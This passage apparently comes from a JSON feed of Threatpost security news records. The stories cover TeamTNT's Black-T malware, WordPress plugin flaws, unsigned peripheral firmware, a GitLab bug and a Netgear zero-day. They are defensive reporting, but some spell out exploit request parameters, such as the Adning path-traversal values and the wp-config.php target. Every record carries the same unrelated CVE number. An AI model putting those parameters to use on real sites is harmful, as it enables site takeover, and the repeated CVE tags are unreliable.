various resources on the network, including pnscan, zgrab, Docker and jq (the latter is a flexible command-line JSON processor, according to Unit 42).\n\n\u201cTeamTNT is investing more resources into scanning operations, likely with the intent to identify and compromise more cloud systems,\u201d Quist added. \u201cZmap is a known open-source scanning solution and with the creation of zgrab, a GoLang tool written for zmap, it is attempting to capitalize on the added benefits of the Go programming language, such as speed and performance increases. It is likely that TeamTNT actors are attempting to refine their scanning capabilities to make them faster, more accurate and less resource-intensive.\u201d\n\nNext, Black-T fetches various downloads: Beta to create a new directory; the mimipy and mimipenquin password scraping tools; and the XMR mining software called bd.\n\n\u201cThe inclusion of memory password-scraping tools should be considered an evolution of tactics,\u201d Quist said. \u201cTeamTNT has already integrated the collection and exfiltration of AWS credentials from compromised cloud systems, which provides post-exploitation capabilities. By adding memory password-scraping capabilities, TeamTNT actors are increasing their chances in gaining persistence within cloud environments.\u201d\n\nThe use of [worms](<https://threatpost.com/worm-golang-malware-windows-payloads/156924/>) like masscan or pnscan by TeamTNT isn\u2019t new, but Unit 42 noticed Black-T adds a new scanning port. Researchers wonder whether this signals the group has figured out how to target Android devices as well.\n\nAs remote work and cost savings continue to drive computing to the cloud, more groups like TeamTNT are sure to emerge ready to take advantage, according to Quist. Admins should take steps to ensure that [Docker](<https://threatpost.com/doki-backdoor-docker-servers-cloud/157871/>) and daemon APIs, as well as any other sensitive network services, aren\u2019t exposed, so that the cloud can be protected from the next evolution of cloud cryptojackers, he added.\n\n**[On October 14 at 2 PM ET](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>) Get the latest information on the rising threats to retail e-commerce security and how to stop them. [Register today](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>) for this FREE Threatpost webinar, \u201c[Retail Security: Magecart and the Rise of e-Commerce Threats.](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)\u201d Magecart and other threat actors are riding the rising wave of online retail usage and racking up big numbers of consumer victims. Find out how websites can avoid becoming the next compromise as we go into the holiday season. Join us Wednesday, Oct. 14, 2-3 PM ET for this [LIVE ](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)webinar. **\n", "cvss3": {}, "published": "2020-10-05T19:47:05", "type": "threatpost", "title": "Black-T Malware Emerges From Cryptojacker Group TeamTNT", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135"], "modified": "2020-10-05T19:47:05", "id": "THREATPOST:D4F89B42660582EFECA648A891470AD4", "href": "https://threatpost.com/blackt-cryptojacker-teamtnt/159853/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-14T22:08:58", "description": "Two high-severity vulnerabilities in Post Grid, a WordPress plugin with more than 60,000 installations, opens the door to site takeovers, according to researchers. To boot, nearly identical bugs are also found in Post Grid\u2019s sister plug-in, Team Showcase, which has 6,000 installations.\n\nThe issues are a cross-site scripting (XSS) flaw as well as a PHP object-injection issue. Both bugs are pending CVE numbers, and both are high-severity, rating 7.5 out of 10 on the CvSS vulnerability rating scale.\n\nPost Grid, true to its name, allows users to display their posts in a grid layout; meanwhile, Team Showcase offers a way to easily highlight an organization\u2019s team members. Both allowed the import of custom layouts, and used nearly identical \u2013 and vulnerable \u2013 functions for doing so, according to Ram Gall, researcher with Wordfence.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nThe XSS bug would allow an attacker to supply a source parameter pointing to a crafted malicious payload hosted elsewhere. The function would then open the file containing the payload, decode it and create a new page layout based on its contents.\n\n\u201cThe created layout included a custom_scripts section, and an attacker could add malicious JavaScript to the custom_css portion of this section,\u201d explained Gall, [in a posting](<https://www.wordfence.com/blog/2020/10/high-severity-vulnerabilities-in-post-grid-and-team-showcase-plugins/>) on Monday. \u201cThis would then be executed whenever an administrative user edited the layout or a visitor visited a page based on the layout.\u201d\n\nThe upshot is that attackers could use the malicious JavaScript to add a malicious administrator, add a backdoor to plugin or theme files, or steal the administrator\u2019s session information \u2013 all of which are paths to complete takeover of a site.\n\nTriggering an exploit is also somewhat trivial.\n\n\u201cIn both cases, a logged-in attacker with minimal permissions such as subscriber could trigger the functions by sending an AJAX request, with the action set to post_grid_import_xml_layouts for the Post Grid plugin or team_import_xml_layouts for the Team Showcase plugin, with each action triggering a function with the same name,\u201d Gall explained.\n\nThe second issue, the PHP object-injection bug, arises in the import function because it unserialized the payload supplied in the source parameter. An attacker could therefore execute arbitrary code, delete or write files, or perform any number of other actions which could lead to site takeover.\n\nTo trigger the flaw, \u201can attacker could craft a string that would be unserialized into an active PHP object,\u201d Gall explained. \u201cAlthough neither plugin utilized any vulnerable magic methods, if another plugin using a vulnerable magic method was installed, Object injection could be used by an attacker.\u201d\n\nBoth vulnerabilities would typically require the attacker to have an account with at least subscriber level privileges \u2013 but there\u2019s a loophole.\n\n\u201cHowever, sites using a plugin or theme that allowed unauthenticated visitors to execute arbitrary shortcodes would be vulnerable to unauthenticated attackers,\u201d Gall added.\n\nThe plugins\u2019 developer, PickPlugins, has issued patches, so web admins should upgrade as soon as possible. The fixed versions are Post Grid v. 2.0.73 and Team Showcase v. 1.22.16.\n\nThese are the latest in the line of faulty WordPress plugins that have come to light this year. In September, a high-severity flaw in the Email Subscribers & Newsletters plugin by Icegram [was found to affect](<https://threatpost.com/wordpress-plugin-flaw/159172/>) more than 100,000 WordPress websites.\n\n[Earlier in August](<https://threatpost.com/critical-flaws-wordpress-quiz-plugin-site-takeover/158379/>), a plugin that is designed to add quizzes and surveys to WordPress websites patched two critical vulnerabilities. The flaws could be exploited by remote, unauthenticated attackers to launch varying attacks \u2013 including fully taking over vulnerable websites. [Also in August,](<https://threatpost.com/newsletter-wordpress-plugin-site-takeover/158025/>) Newsletter, a WordPress plugin with more than 300,000 installations, was discovered to have a pair of vulnerabilities that could lead to code-execution and even site takeover.\n\nAnd, [researchers in July warned](<https://threatpost.com/critical-rce-flaw-wordpress-plugin-on-70k-sites/157824/>) of a critical vulnerability in a WordPress plugin called Comments \u2013 wpDiscuz, which is installed on more than 70,000 websites. The flaw gave unauthenticated attackers the ability to upload arbitrary files (including PHP files) and ultimately execute remote code on vulnerable website servers.\n\n[**On October 14 at 2 PM ET**](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)** Get the latest information on the rising threats to retail e-commerce security and how to stop them. **[**Register today**](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)** for this FREE Threatpost webinar, \u201c**[**Retail Security: Magecart and the Rise of e-Commerce Threats.**](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)**\u201d Magecart and other threat actors are riding the rising wave of online retail usage and racking up big numbers of consumer victims. Find out how websites can avoid becoming the next compromise as we go into the holiday season. Join us Wednesday, Oct. 14, 2-3 PM ET for this **[**LIVE **](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)**webinar.**\n", "cvss3": {}, "published": "2020-10-05T21:11:44", "type": "threatpost", "title": "Post Grid WordPress Plugin Flaws Allow Site Takeovers", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135"], "modified": "2020-10-05T21:11:44", "id": "THREATPOST:8E52FA6620F4FFE6ED3A412867239F2B", "href": "https://threatpost.com/wordpress-plugin-flaws/159856/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-14T22:30:12", "description": "Fresh firmware vulnerabilities in Wi-Fi adapters, USB hubs, trackpads and cameras are putting millions of peripheral devices in danger of a range of cyberattacks, according to research from Eclypsium.\n\nTouchPad and TrackPoint firmware in Lenovo Laptops, HP Wide Vision FHD camera firmware in HP laptops and the Wi-Fi adapter on Dell XPS laptops were all found to lack secure firmware update mechanisms with proper code-signing.\n\n\u201cSoftware and network vulnerabilities are often the more-obvious focus of organizations\u2019 security priorities, but firmware vulnerabilities could give adversaries full control over the compromised device,\u201d Katie Teitler, senior analyst at TAG Cyber, said via email. \u201cThis could lead to implanted backdoors, network traffic sniffing, data exfiltration and more. Unfortunately, though, firmware vulnerabilities can be harder to detect and more difficult to patch.\u201d\n\n## Unsigned Firmware Updates: A Growing Problem\n\nFirmware for peripherals can be burned into the integrated circuit of the device itself, or the component may have its own flash memory where firmware is stored. Firmware can also be dynamically provided by the operating system at boot time. Regardless of the implementation approach, firmware is used as the device-specific operating system for the peripheral in question, and can provide criminals with a rich attack surface if found to be vulnerable.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\n\u201cMany peripheral devices do not verify that firmware is properly signed with a high-quality public/private key before running the code,\u201d explained researchers at Eclypsium, in vulnerability research [released on Tuesday](<https://eclypsium.com/2020/2/18/unsigned-peripheral-firmware/>). \u201cThis means that these components have no way to validate that the firmware loaded by the device is authentic and should be trusted. An attacker could simply insert a malicious or vulnerable firmware image, which the component would blindly trust and run.\u201d\n\nThe scenario for an attack is thus a simple one. First, an attacker gains access to a device via any method, be it physical access, malware that allows remote code execution and so on, and, with basic user privileges, the attacker can write malicious firmware to a vulnerable component. If the component doesn\u2019t require the firmware to be properly signed, the attacker\u2019s code is loaded. Depending on the peripheral in question, this can lead to a range of malicious activity.\n\n\u201cFor example, malicious firmware on a network adapter could allow an attacker to sniff, copy, redirect or alter traffic leading to a loss of data, man-in-the-middle and other attacks,\u201d according to the research. \u201cPCI-based devices could enable [Direct Memory Access (DMA) attacks](<https://threatpost.com/dell-hp-memory-access-bugskernel-privileges/152369/>) that could easily steal data or take full control over the victim system. Cameras could be used to capture data from the user\u2019s environment, while a compromised hard drive could allow the attacker to hide code and tools without being seen by the operating system.\u201d\n\nFurther, firmware attacks allow malicious activity to fly under the radar of endpoint protections; as recently seen in the [latest campaigns using the RobbinHood ransomware](<https://threatpost.com/byo-bug-windows-kernel-outdated-driver/152762/>), vulnerable drivers can be used to bypass security protections and enable ransomware to attack without interference.\n\nJesse Michael, principal researcher at Eclypsium, told Threatpost that the kinds of attacks that these bugs enable are not insignificant. For instance, the Black Energy attack that brought down part of the power grid in Ukraine used an unsigned firmware update to break serial-to-Ethernet adapters that were used to control relays.\n\n\u201cA similar incident occurred with Saudi Aramco,\u201d he said. \u201cThis made the system much harder to bring back online.\u201d He added that firmware-based attacks have seen a 7.5-time increase in firmware/hardware CVEs from three years ago.\n\n## New Vulnerabilities\n\nEclypsium researchers analyzed a Lenovo ThinkPad X1 Carbon 6th Gen laptop, which contains two vulnerable firmware mechanisms: Touchpad firmware (pr2812761-tm3288-011-0808.img) and TrackPoint firmware (PSG5E5_RANKA_fv06.bin).\n\n\u201cWe discovered that the Touchpad and TrackPoint use insecure firmware update mechanisms,\u201d according to the research. \u201cSpecifically, cryptographic signature verification was not required at the device level before firmware updates were applied. This lack of control made it possible to modify the firmware images through software to run arbitrary malicious code within these components.\u201d\n\nMeanwhile, the firmware updates distributed by HP for the HP Wide Vision FHD camera found in the HP Spectre x360 Convertible 13-ap0xxx laptop are unencrypted and lack authenticity checks, Eclypsium noted. The device\u2019s firmware updater is composed of SunplusIT\u2019s Windows-based firmware update tool along with the firmware image, and both have issues.\n\n\u201cThe firmware image does not include any form of cryptographic signature or other authenticity information,\u201d according to the report. \u201cThe Windows-based firmware update tool accepts firmware files that have been modified to adjust USB descriptor contents. This ability to modify USB descriptors can be leveraged to disable the device or cause it to be identified as a different type of USB device. Once additional details of the processor architecture are discovered, the camera module behavior can be altered to be malicious.\u201d\n\nAlso, the SunplusIT firmware updater can successfully update a device even as a normal user, rather than requiring administrator access \u2013 a violation of best practices.\n\nEclypsium researchers also found that the firmware of the Wi-Fi adapter on Dell XPS 15 9560 laptops running Windows 10 has a bug. While Windows 10 will confirm that the drivers are correctly signed, that\u2019s where the security checks stop. So, if the drivers are correctly signed, a small certificate icon is displayed next to the driver when viewed in the device manager. If they aren\u2019t correctly signed, a user can still successfully load them \u2013 the icon merely goes away. This means that a privileged attacker could easily replace driver files.\n\nAnd finally, the researchers also took a look at the Linux Vendor Firmware Service, which is a secure portal that allows hardware vendors to upload firmware updates. An analysis showed multiple insecure updates and drivers.\n\n\u201cFrom this resource we can focus specifically on update protocols and easily review which are signed and which are not,\u201d the researchers wrote. \u201cWhile we can see that some of the update protocols are related to transport, many others are protocols used for the actual update process. For example, VLI USB Hub firmware is unsigned.\u201d\n\n## Vendor Response\n\nEclypsium researchers notified HP of the webcam firmware vulnerability on August 4, and Lenovo of the TouchPad/TrackPoint vulnerability on Lenovo on June 13.\n\n\u201cWe expect some vendors will issue CVEs, but none have as of yet,\u201d Jesse Michael, principal researcher at Eclypsium, told Threatpost. \u201cFor these peripherals, the OEMs (HP and Lenovo) have to work with their suppliers to develop fixes. From what we\u2019ve seen, most of these existing components were initially designed to have unsigned firmware, making them inherently vulnerable. Our interactions with these OEMs lead us to expect that future systems will have firmware update authentication requirements built in.\u201d\n\nEclypsium also reported the Wi-Fi issue to both Qualcomm, who provides the chipset and driver for the wireless card, and to Microsoft, which checks that such drivers are signed.\n\n\u201cQualcomm responded that their chipset is subordinate to the processor, and that the software running on the CPU is expected to take responsibility for validating firmware,\u201d Michael said. \u201cThey stated that there was no plan to add signature verification for these chips. However, Microsoft responded that it was up to the device vendor to verify firmware that is loaded into the device.\u201d The result is that this will likely go unaddressed, since each is pointing the responsibility back to the other.\n\nBottom line: Unsigned firmware in peripheral devices remains a highly overlooked aspect of cybersecurity, and provides multiple pathways for malicious actors to compromise laptops and servers.\n\n\u201cOnce firmware on any of these components is infected, the malware stays undetected by any software security controls,\u201d Michael said. \u201cDespite previous in-the-wild attacks, peripheral manufacturers have been slow to adopt the practice of signing firmware, leaving millions of Windows and Linux systems at risk of firmware attacks that can exfiltrate data, disrupt operations and deliver ransomware.\u201d\n\n**_Learn how Operational Technology and Information Technology systems are merging and changing security playbooks in this free Threatpost Webinar. Join us _**[**_Wednesday, Feb. 19 at 2 p.m. ET_**](<https://attendee.gotowebinar.com/register/2652328115100076035?source=art>)**_ when a panel of OT and IT security experts will discuss how this growing trend is shaping security approaches for IoT and 5G rollouts. This webinar is for security and DevOps engineers, IoT edge developers and security executives._**\n", "cvss3": {}, "published": "2020-02-18T11:00:08", "type": "threatpost", "title": "Lenovo, HP, Dell Peripherals Face Unpatched Firmware Bugs", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135"], "modified": "2020-02-18T11:00:08", "id": "THREATPOST:815A85AC4471792F2F220EAD5DD49460", "href": "https://threatpost.com/lenovo-hp-dell-peripherals-unpatched-firmware/152936/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-14T22:26:12", "description": "The Adning Advertising plugin for WordPress, a premium plugin with over 8,000 customers, contains a critical remote code-execution vulnerability with the potential to be exploited by unauthenticated attackers.\n\nThe plugin\u2019s author, Tunafish, has rolled out a patched version (v.1.5.6), which site owners should update to as soon as possible. No CVE was issued.\n\nThe bug could allow complete site takeover, earning it a 10 out of 10 on the CVSS bug-severity scale. Also, it has already been the subject of in-the-wild attacks, according to [an analysis](<https://www.wordfence.com/blog/2020/07/critical-vulnerabilities-patched-in-adning-advertising-plugin/>) from Wordfence issued on Wednesday. That said, the firm said the attacks so far have been limited in scope and scale.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nThe flaw exists in the Adning plugin\u2019s ability to allow users to upload banner images, researchers said.\n\n\u201cIn order to provide this functionality, it used an AJAX action, _ning_upload_image,\u201d according to the researchers. \u201cUnfortunately, this AJAX action was available with a nopriv_ hook, meaning that any visitor to the site could make use of it, even if they were not logged in. Additionally, the function called by this AJAX action also failed to make use of a capability check or a nonce check.\u201d\n\nThis function also allowed the user to supply the \u201callowed\u201d file types \u2013 which means that an unauthenticated attacker could upload malicious code by sending a POST request to wp-admin/admin-ajax.php.\n\nThis could be performed \u201cwith the action parameter set to _ning_upload_image the allowed_file_types set to php and a files parameter containing a malicious PHP file,\u201d researchers said. \u201cAlternatively, an attacker could set the allowed_file_types to zip and upload a compressed archive containing a malicious PHP file, which would be unzipped after upload.\u201d\n\n## **A Second Bug**\n\nWordfence researchers also found a second security vulnerability, which allows unauthenticated arbitrary file deletion via path traversal.\n\nCarrying a high-severity CVSS score of 8.7, this bug is also patched in v.1.5.6.\n\n\u201cIn order to delete any uploaded images, the plugin also registered another ajax action, _ning_remove_image, which also used a nopriv_ hook,\u201d according to the analysis. \u201cAs with the upload vulnerability, this function did not perform a capability check or a nonce check. As such it was possible for an unauthenticated attacker to delete arbitrary files using path traversal.\u201d\n\nAlso, according to Wordfence, if an attacker were able to delete the specific file wp-config.php, the site would be reset, offering attackers an opportunity to set it up again. They could use their own remote databases under their control, effectively replacing the site\u2019s content with their own content.\n\n\u201cThis might require an extra step of preparation, which is that the wp-content/uploads/path folder would need to exist,\u201d according to Wordfence. \u201cHowever, since the previously mentioned arbitrary file-upload vulnerability allowed for directory creation, this was not a major obstacle. Once the directory was created, an attacker could send a POST request to wp-admin/admin-ajax.php with the action parameter set to _ning_remove_image, the uid parameter set to /../../.. and the src parameter set to wp-config.php.\u201d\n\n## **WordPress Plugins: A Weak Link**\n\nWordPress plugins continue to crop up with concerning vulnerabilities that put sites at risk. In May for instance, Page Builder by SiteOrigin, a WordPress plugin with a million active installs that\u2019s used to build websites via a drag-and-drop function, [was found to harbor](<https://threatpost.com/wordpress-page-builder-bugs-takeover/155659/>) two flaws that could allow full site takeover.\n\nMeanwhile in April, it was revealed that legions of website visitors could be infected with drive-by malware, among other issues, thanks to a [CSRF bug in Real-Time Search and Replace](<https://threatpost.com/wordpress-plugin-bug-100k-websites-compromise/155230/>). Also that month, a pair of security vulnerabilities (one of them critical), in the WordPress search engine optimization (SEO) plugin known as Rank Math, [were found](<https://threatpost.com/critical-wordpress-plugin-bug-lock-admins-out/154354/>). They could allow remote cybercriminals to elevate privileges and install malicious redirects onto a target site, according to researchers. RankMath is a WordPress plugin with more than 200,000 installations.\n\nIn March, another critical vulnerability in a WordPress plugin known as \u201cThemeREX Addons\u201d [was found](<https://threatpost.com/themerex-wordpress-plugin-remote-code-execution/153592/>) that could open the door for remote code execution in 44,000 websites.\n\nAlso in March, two vulnerabilities \u2013 including a high-severity flaw \u2013 [were patched](<https://threatpost.com/wordpress-plugin-bug-popup-builder/153715/>) in a popular WordPress plugin called Popup Builder. The more severe flaw could enable an unauthenticated attacker to infect malicious JavaScript into a popup \u2013 potentially opening up more than 100,000 websites to takeover.\n\nAnd in February, popular WordPress plugin Duplicator, which has more than 1 million active installations, [was discovered to have](<https://www.wordfence.com/blog/2020/03/zero-day-vulnerability-in-themerex-addons-now-patched/>) an unauthenticated arbitrary file download vulnerability that was being attacked. And, earlier that month, a critical flaw in a popular WordPress plugin that helps make websites compliant with the General Data Protection Regulation (GDPR) [was disclosed](<https://threatpost.com/critical-wordpress-plugin-bug-afflicts-700k-sites/152871/>). The flaw could enable attackers to modify content or inject malicious JavaScript code into victim websites. It affected 700,000 sites.\n\n**_BEC and enterprise email fraud is surging, but DMARC can help \u2013 if it\u2019s done right. On July 15 at 2 p.m. ET, join Valimail Global Technical Director Steve Whittle and Threatpost for a _**[**_FREE webinar_**](<https://attendee.gotowebinar.com/register/441045308082589963?source=art>)**_, \u201cDMARC: 7 Common Business Email Mistakes.\u201d This technical \u201cbest practices\u201d session will cover constructing, configuring, and managing email authentication protocols to ensure your organization is protected. _**[**_Click here to register_**](<https://attendee.gotowebinar.com/register/441045308082589963?source=art>)**_ for this Threatpost webinar, sponsored by Valimail._**\n", "cvss3": {}, "published": "2020-07-08T20:12:05", "type": "threatpost", "title": "Advertising Plugin for WordPress Threatens Full Site Takeovers", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135"], "modified": "2020-07-08T20:12:05", "id": "THREATPOST:49EFC5B6CFCA04F105A001AAFED52548", "href": "https://threatpost.com/advertising-plugin-wordpress-full-site-takeovers/157283/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-14T22:25:55", "description": "A critical GitLab vulnerability, which could be leveraged by a remote attacker to execute code, recently netted a researcher a $20,000 bug-bounty award.\n\nThe flaw was reported to GitLab by software developer [William Bowling](<https://twitter.com/wcbowling>) via the [HackerOne bug bounty platform](<https://hackerone.com/reports/827052>) on March 23. It was then disclosed this week after being patched in GitLab version 12.9.1.\n\nAt issue is a path-traversal flaw in GitLab, which started out as a web-based Git repository manager but has moved into the DevOps lifecycle-management space. A path traversal is a web security flaw that allows an attacker to read arbitrary files on the server that is running an application. For this particular flaw, the ability to read arbitrary files on the server would give attackers access to tokens, private data, configs and more.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nSpecifically the flaw exists in the UploadsRewriter function of GitLab, which is used to duplicate files. The UploadsRewriter does not validate the file name and path, allowing arbitrary files to be copied without restriction when moving issues to a new project.\n\n\u201cAs there is no restriction on what file can be, path traversal can be used to copy any file,\u201d said Bowling in his bug-bounty report. \u201cThe file or path should be validated before copying files.\u201d\n\nBowling then took the flaw a step further, showcasing how it could be leveraged to launch a remote code-execution attack. Once the arbitrary file read flaw is exploited, he said, it can be used to grab the secret_key_base from the /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml service.\n\nThe secret_key_base is used to derive keys that are used to generate and verify encrypted or signed cookies. Once attackers access the secret_key_base, they could manipulate these cookie services to send cookies to the server to execute code.\n\nGitLab verified the finding and escalated the issue to its engineering team, granting Bowling an initial $1,000 triage payment for his findings before ultimately granting the $20,000.\n\nGitLab in December [announced it had awarded a total of $565,650](<https://threatpost.com/gitlab-doles-out-half-a-million-bucks-to-white-hats/151138/>) in security bug bounties to 171 researchers who reported valid vulnerabilities in the past year. GitLab launched its [bug-bounty program](<https://hackerone.com/gitlab>) in 2018, and according to Juan Broullon, senior application security engineer at the company, it received a total of 1,378 reports from 513 white-hat hackers in that time.\n\n**_Inbox security is your best defense against today\u2019s fastest growing security threat \u2013 phishing and Business Email Compromise attacks. [On May 13 at 2 p.m. ET](<https://register.gotowebinar.com/register/5064791868226032141?source=ART>), join Valimail security experts and Threatpost for a FREE webinar, [5 Proven Strategies to Prevent Email Compromise](<https://register.gotowebinar.com/register/5064791868226032141?source=ART>). Get exclusive insights and advanced takeaways on how to lockdown your inbox to fend off the latest phishing and BEC assaults. Please [register here ](<https://register.gotowebinar.com/register/5064791868226032141?source=ART>)for this sponsored webinar._**\n\n_**Also, don\u2019t miss our latest on-demand webinar from DivvyCloud and Threatpost, **_[_**A Practical Guide to Securing the Cloud in the Face of Crisis**_](<https://attendee.gotowebinar.com/register/4136632530104301068?source=art>)_**, with critical, advanced takeaways on how to avoid cloud disruption and chaos.**_\n", "cvss3": {}, "published": "2020-04-29T16:39:56", "type": "threatpost", "title": "Critical GitLab Flaw Earns Bounty Hunter $20K", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135"], "modified": "2020-04-29T16:39:56", "id": "THREATPOST:C249ACD6B53EBF0A2F149F42F6D9873D", "href": "https://threatpost.com/critical-gitlab-flaw-bounty-20k/155295/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-14T22:23:48", "description": "UPDATED\n\nResearchers this week said they discovered an unpatched, zero-day vulnerability in firmware for [Netgear](<https://www.netgear.com/>) routers that put [79 device models](<https://www.bleepingcomputer.com/news/security/79-netgear-router-models-risk-full-takeover-due-to-unpatched-bug/>) at risk for full takeover, they said.\n\nNetgear has since issued several hot fixes, [available here](<https://kb.netgear.com/000061982/Security-Advisory-for-Multiple-Vulnerabilities-on-Some-Routers-Mobile-Routers-Modems-Gateways-and-Extenders>).\n\nThe flaw, a memory-safety issue present in the firmware\u2019s httpd web server, allows attackers to bypass authentication on affected installations of Netgear routers, according to two separate reports: [One on the Zero Day Initiative](<https://www.zerodayinitiative.com/advisories/ZDI-20-712/>) (ZDI) by a researcher called \u201cd4rkn3ss\u201d from the Vietnam Posts and Telecommunications Group; and a separate [blog post](<https://blog.grimm-co.com/2020/06/soho-device-exploitation.html>) by Adam Nichols of cybersecurity firm [Grimm](<https://blog.grimm-co.com/>).\n\n\u201cThe specific flaw exists within the httpd service, which listens on TCP Port 80 by default,\u201d according to the ZDI report, which covers the bug\u2019s presence in the R6700 series Netgear routers. \u201cThe issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length, stack-based buffer.\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nAuthentication is not required to exploit the vulnerability, which attackers can use to gain root privileges, according to the report.\n\nZDI said it informed Netgear of the vulnerability in January. The vendor had asked for an extension until the end of June for public disclosure, which ZDI declined.\n\nFor his part, Nichols discovered the flaw initially in the Netgear R7000 router series, but eventually identified 79 different Netgear devices and 758 firmware images that included a vulnerable copy of the web server.\n\n\u201cThis vulnerability affects firmwares as early as 2007 (WGT624v4, version 2.0.6),\u201d he said in his post. \u201cGiven the large number of firmware images, manually finding the appropriate gadgets is infeasible. Rather, this is a good opportunity to automate gadget detection.\u201d\n\nNichols said that the problem lies in lack of support for a feature called [stack cookies](<https://en.wikipedia.org/wiki/Stack_buffer_overflow#Stack_canaries>), or stack canaries\u2014a reference to the use of a \u201ccanary in a coal mine\u201d\u2013which are used to detect a stack buffer overflow before execution of malicious code can occur, he explained. While some Netgear routers support this feature \u2013 namely, the D8500 firmware version 1.0.3.29 and the R6300v2 firmware versions 1.0.4.12-1.0.4.20 \u2013 most others do not, he said.\n\n\u201cLater versions of the D8500 and R6300v2 stopped using stack cookies, making this vulnerability once again exploitable,\u201d Nichols explained in the post. \u201cThis is just one more example of how SOHO device security has fallen behind as compared to other modern software.\u201d\n\nWeb servers in the firmware of SOHO devices in general are often the most vulnerable aspect of the system as they \u201cmust parse user input from the network and run complex CGI functions that use that input,\u201d he said.\n\n\u201cFurthermore, the web server is written in C and has had very little testing, and thus it is often vulnerable to trivial memory-corruption bugs,\u201d Nichols said.\n\n## **Exploitation**\n\nThe zero-day vulnerability can be exploited in two ways, Nichols explained in his post. One way to is to exploit the recv function used in the http parser in the web server through a series of steps that eventually lead to a stack-buffer overflow.\n\nAttackers also can use a cross-site request forgery (CSRF) attack to exploit the vulnerability, though he or she needs to know the model and version of the router they\u2019re targeting to pull this off successfully, he explained.\n\n\u201cIf a user with a vulnerable router browses to a malicious website, that website could exploit the user\u2019s router \u2026 by serving an HTML page which sends an AJAX request containing the exploit to the target device:\u201d Nichols said. \u201cHowever, as the CSRF web page cannot read any responses from the target server, it is not possible to remotely fingerprint the device.\u201d\n\nOne mitigation for the vulnerability is to restrict interaction with the service to trusted machines, according to the ZDI report.\n\n\u201cOnly the clients and servers that have a legitimate procedural relationship with the service should be permitted to communicate with it,\u201d according to the report. \u201cThis could be accomplished in a number of ways, most notably with firewall rules/whitelisting.\u201d\n\nIn March, [Netgear patched](<https://threatpost.com/critical-netgear-bug-impacts-nighthawk-router/153445/>) a critical remote code execution bug that could allow an unauthenticated attacker to take control of its Wireless AC Router Nighthawk (R7800) hardware running firmware versions prior to 1.0.2.68. It also addressed two high-severity bugs impacting Nighthawk routers, 21 medium-severity flaws and one rated low.\n\n_**This story was updated June 25, 2000 at 11:30 a.m. ET to include information on Netgear\u2019s hot fixes.**_\n\n**_Insider threats are different in the work-from home era. On _**[**_June 24 at 2 p.m. ET_**](<https://attendee.gotowebinar.com/register/3265005683762389007?source=ART>)**_, join the Threatpost edit team and our special guest, Gurucul CEO Saryu Nayyer, for a FREE webinar, \u201c_**_**The Enemy Within: How Insider Threats Are Changing.\u201d **_**_Get helpful, real-world information on how insider threats are changing with WFH, what the new attack vectors are and what companies can do about it_**_**. **_[**_Please register here_**](<https://attendee.gotowebinar.com/register/3265005683762389007?source=ART>)**_ for this Threatpost webinar._**\n", "cvss3": {}, "published": "2020-06-19T13:05:37", "type": "threatpost", "title": "Netgear Zero-Day Allows Full Takeover of Dozens of Router Models", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135"], "modified": "2020-06-19T13:05:37", "id": "THREATPOST:DF35DF449CB3A8F93C405B227A00E117", "href": "https://threatpost.com/netgear-zero-day-takeover-routers/156744/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-14T22:25:06", "description": "Cyberattackers are targeting a post-authentication remote code-execution vulnerability in Symantec Secure Web Gateways as part of new Mirai and Hoaxcalls botnet attacks.\n\nHoaxcalls first emerged in late March, as a variant of the Gafgyt/Bashlite family; it\u2019s named after the domain used to host its malware, Hoaxcalls.pw. Two new Hoaxcalls samples [showed up on the scene](<https://threatpost.com/fast-moving-ddos-botnet-unpatched-zyxel-rce-bug/155059/>) in April, incorporating new commands from its command-and-control (C2) server. These included the ability to proxy traffic, download updates, maintain persistence across device restarts, prevent reboots and launch a larger number of distributed denial-of-service (DDoS) attacks.\n\nIt also incorporated a new exploit for infiltrating devices \u2013 an [unpatched 